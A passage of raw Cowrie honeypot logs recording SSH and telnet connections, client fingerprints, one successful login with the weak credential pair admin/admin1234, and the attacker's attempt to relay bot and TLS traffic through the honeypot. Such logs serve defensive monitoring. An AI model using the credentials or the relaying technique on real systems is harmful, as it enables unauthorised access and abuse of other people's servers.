\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:35.717779Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.53884434700012,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:48.777567Z","src_ip":"172.81.62.90","session":"64e32dcc7bc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.437761068344116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:53.233085Z","src_ip":"172.81.62.90","session":"a1f765916b8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.608564615249634,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:54.398185Z","src_ip":"172.81.62.90","session":"cb7baf9f1fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"28.1","message":"Connection lost after 28.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:55.820297Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53424,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a0fa6cdffc2","protocol":"telnet","message":"New connection: 107.6.151.170:53424 (159.203.135.109:23) [session: 6a0fa6cdffc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:06.318094Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57496,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f0e2baaace2","protocol":"telnet","message":"New connection: 107.6.151.170:57496 (159.203.135.109:23) [session: 5f0e2baaace2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:06.511817Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51412,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e0ee5ec4bfa","protocol":"ssh","message":"New connection: 123.27.168.40:51412 (10.17.0.5:22) [session: 5e0ee5ec4bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:11.801704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:11.806195Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:12.056889Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:13.493123Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:13.922323Z","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.058278Z","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.479168Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.3 Mobile/16G130 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZXIkS01LbClSRnpHZ2EqaA%3D%3D9dyLn67RGvVDsUu5GnSVOTjVviABYskZ2TF%2Fx51%2F5RKuTYygx5DkSiF0RGzfJ77MIJJoGQnI2I6bWBSXH1iVrSJ3thR1JNItao6nbBqEtpwpmGWYQMSCy4J%2FCyTtri0G5rseU68l3k7Sr6AyUXASF0AkfGB5TIopl3kF0hLhmfKqUWgvKBpfuGxDowyyXmyTHyf5CRmmFU6CVw0sVEZAmu1Aj5WzPdqdNUsAl6fe3jsbH427Vu0l9w8g%2FB16xWnpq%2B%2FP8Lv3LTR0h%2FUYOXC3gFEWB%2BCl7gTgH62B2GxnRDEN%2BNoW11Qf%2BCqUjHvhYgN5GvA43Ub7Tqtsw77r6FnPI9AO%2FZu%2BQXdMrblDtYwm28dBTWeFhJWTosxWfy%2FIzLsvhnwuF1vN%2ForVaZjx1js590V8uNhxkMYbZlkLlGpngvDB2vDVKMFQGUbFSl5efEp2vkJ%2B7vRKFJjkw1Oz8JfS%2BY50jK3oyc9qJVokVK7iv8FMnxOo%2BIlJsCxSWQOPX2SLKa3sNPEX%2B64t8%2BH30jyDxc%2BJ4jG2o56tDjx1aKwJidveJWzYTWyW48hnKuiZc9lEH6lABuAZ1gclvy%2BoGW8aIjBp2UfcI3F1mCrG13hdE%2Bexyfd%2FeO2jSuQvqn5RkArYgkHFaL%2Bd1w2gf3KOsq2RO2bYkDGqYqpz5DXzZ2WmYIyUZqZMOPQ6ivf9BuTD0q5unlDz2ipIhKF6gVCeBnIRgeU2QgCNhP5K6%2FRJGhJ7BxsjDxA1unv0UZ8eetksgNolVSUT3PxNAhI%2F0E62XtfaO%2BXhzVRDHcuqWqdkPMzz9phcy6P4YJm5yurCpEe3O1JwrnO%2BHkZlzpIRY0nKDkTRA4oWA4zOe0yiB2QrEsNaG8tKPmtrZQ7r3dZlNqGkkC1wjUFAEbzZvQuGzUWWy7fTTFZZpsqaSCKF767HMoqhcDHNhHgwzFoUXfJCzMrO0%2FBxPrGEBAWa3sezDsIyGJATlzec%2BjBmkqs8aUtnx1wW7c2cbih%2FXHqc1I4lzmZHWLVWOtY5WDJJO4RTKjODG7ZH%2FlmKvAH9%2F0Js1OevWxt%2BZYM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.3 Mobile/16G130 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZXIkS01LbClSRnpHZ2EqaA%3D%3D9dyLn67RGvVDsUu5GnSVOTjVviABYskZ2TF%2Fx51%2F5RKuTYygx5DkSiF0RGzfJ77MIJJoGQnI2I6bWBSXH1iVrSJ3thR1JNItao6nbBqEtpwpmGWYQMSCy4J%2FCyTtri0G5rseU68l3k7Sr6AyUXASF0AkfGB5TIopl3kF0hLhmfKqUWgvKBpfuGxDowyyXmyTHyf5CRmmFU6CVw0sVEZAmu1Aj5WzPdqdNUsAl6fe3jsbH427Vu0l9w8g%2FB16xWnpq%2B%2FP8Lv3LTR0h%2FUYOXC3gFEWB%2BCl7gTgH62B2GxnRDEN%2BNoW11Qf%2BCqUjHvhYgN5GvA43Ub7Tqtsw77r6FnPI9AO%2FZu%2BQXdMrblDtYwm28dBTWeFhJWTosxWfy%2FIzLsvhnwuF1vN%2ForVaZjx1js590V8uNhxkMYbZlkLlGpngvDB2vDVKMFQGUbFSl5efEp2vkJ%2B7vRKFJjkw1Oz8JfS%2BY50jK3oyc9qJVokVK7iv8FMnxOo%2BIlJsCxSWQOPX2SLKa3sNPEX%2B64t8%2BH30jyDxc%2BJ4jG2o56tDjx1aKwJidveJWzYTWyW48hnKuiZc9lEH6lABuAZ1gclvy%2BoGW8aIjBp2UfcI3F1mCrG13hdE%2Bexyfd%2FeO2jSuQvqn5RkArYgkHFaL%2Bd1w2gf3KOsq2RO2bYkDGqYqpz5DXzZ2WmYIyUZqZMOPQ6ivf9BuTD0q5unlDz2ipIhKF6gVCeBnIRgeU2QgCNhP5K6%2FRJGhJ7BxsjDxA1unv0UZ8eetksgNolVSUT3PxNAhI%2F0E62XtfaO%2BXhzVRDHcuqWqdkPMzz9phcy6P4YJm5yurCpEe3O1JwrnO%2BHkZlzpIRY0nKDkTRA4oWA4zOe0yiB2QrEsNaG8tKPmtrZQ7r3dZlNqGkkC1wjUFAEbzZvQuGzUWWy7fTTFZZpsqaSCKF767HMoqhcDHNhHgwzFoUXfJCzMrO0%2FBxPrGEBAWa3sezDsIyGJATlzec%2BjBmkqs8aUtnx1wW7c2cbih%2FXHqc1I4lzmZHWLVWOtY5WDJJO4RTKjODG7ZH%2FlmKvAH9%2F0Js1OevWxt%2BZYM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.482267Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.486205Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x036\\xa0\\xfd\\xff\\x80\\xae\\x8f\\x14}\\xc0\\xbb\\x93;,\\xa7:\\xa5\\xc6\\xcf\\x03\\xb3\\xc8\\xf9\\xf8e\\xcc\\x9a|\\xee\\xf2\\xe4= \\xa8=+\\xb5\\xb8\\xe4`v>\\x8e\\x1d\\xb3\\xfdUbHhn\\x94\"#\\x16\\xd7\\xc05(\\x0c\\xc0\\xbf\\xef\\xc0\\xf9\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 Z\\x04\\x1c\\xb3gli\\\\\\x9dG\\x83\\xd1\\xd6\\x17B=h\\xb9 \\x92G\\xd3\\xaeE\\xebiW\\x8a\\xda\"\\x12.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x036\\xa0\\xfd\\xff\\x80\\xae\\x8f\\x14}\\xc0\\xbb\\x93;,\\xa7:\\xa5\\xc6\\xcf\\x03\\xb3\\xc8\\xf9\\xf8e\\xcc\\x9a|\\xee\\xf2\\xe4= \\xa8=+\\xb5\\xb8\\xe4`v>\\x8e\\x1d\\xb3\\xfdUbHhn\\x94\"#\\x16\\xd7\\xc05(\\x0c\\xc0\\xbf\\xef\\xc0\\xf9\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 Z\\x04\\x1c\\xb3gli\\\\\\x9dG\\x83\\xd1\\xd6\\x17B=h\\xb9 \\x92G\\xd3\\xaeE\\xebiW\\x8a\\xda\"\\x12.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.489073Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.735196Z","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.978171Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\\xe7\\x9a\\x8d\\x86u\\x01`\\'\\xc6\\xe91\\'\\xbd\\xda\\xbc\\x1b\\x8eOtc\\x02\\x93\\xcf\\xb1\\x04R\\x0e\\xea\\xbd;\\xdc q\\xaaVa\\xce\\xb1Lf\\xb5\\x1fK\\xdc!Q\\xcc\\xc0n\\xe8Vg\\x04 \\xbb\\xd4\\x04v\\xc1e\\x00\\xdb\\x17O\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\x14O\\xa3\\xfeo\\xe9\\x00u\\xd0\\x86\\xff\\x06~\\xc9\\xa8\\xc9\\xe1\\xd4\"h\\x8fb7\\xd7\\xe1\\xdf\\xd7\\x80^\\x1b\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\\xe7\\x9a\\x8d\\x86u\\x01`\\'\\xc6\\xe91\\'\\xbd\\xda\\xbc\\x1b\\x8eOtc\\x02\\x93\\xcf\\xb1\\x04R\\x0e\\xea\\xbd;\\xdc q\\xaaVa\\xce\\xb1Lf\\xb5\\x1fK\\xdc!Q\\xcc\\xc0n\\xe8Vg\\x04 \\xbb\\xd4\\x04v\\xc1e\\x00\\xdb\\x17O\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 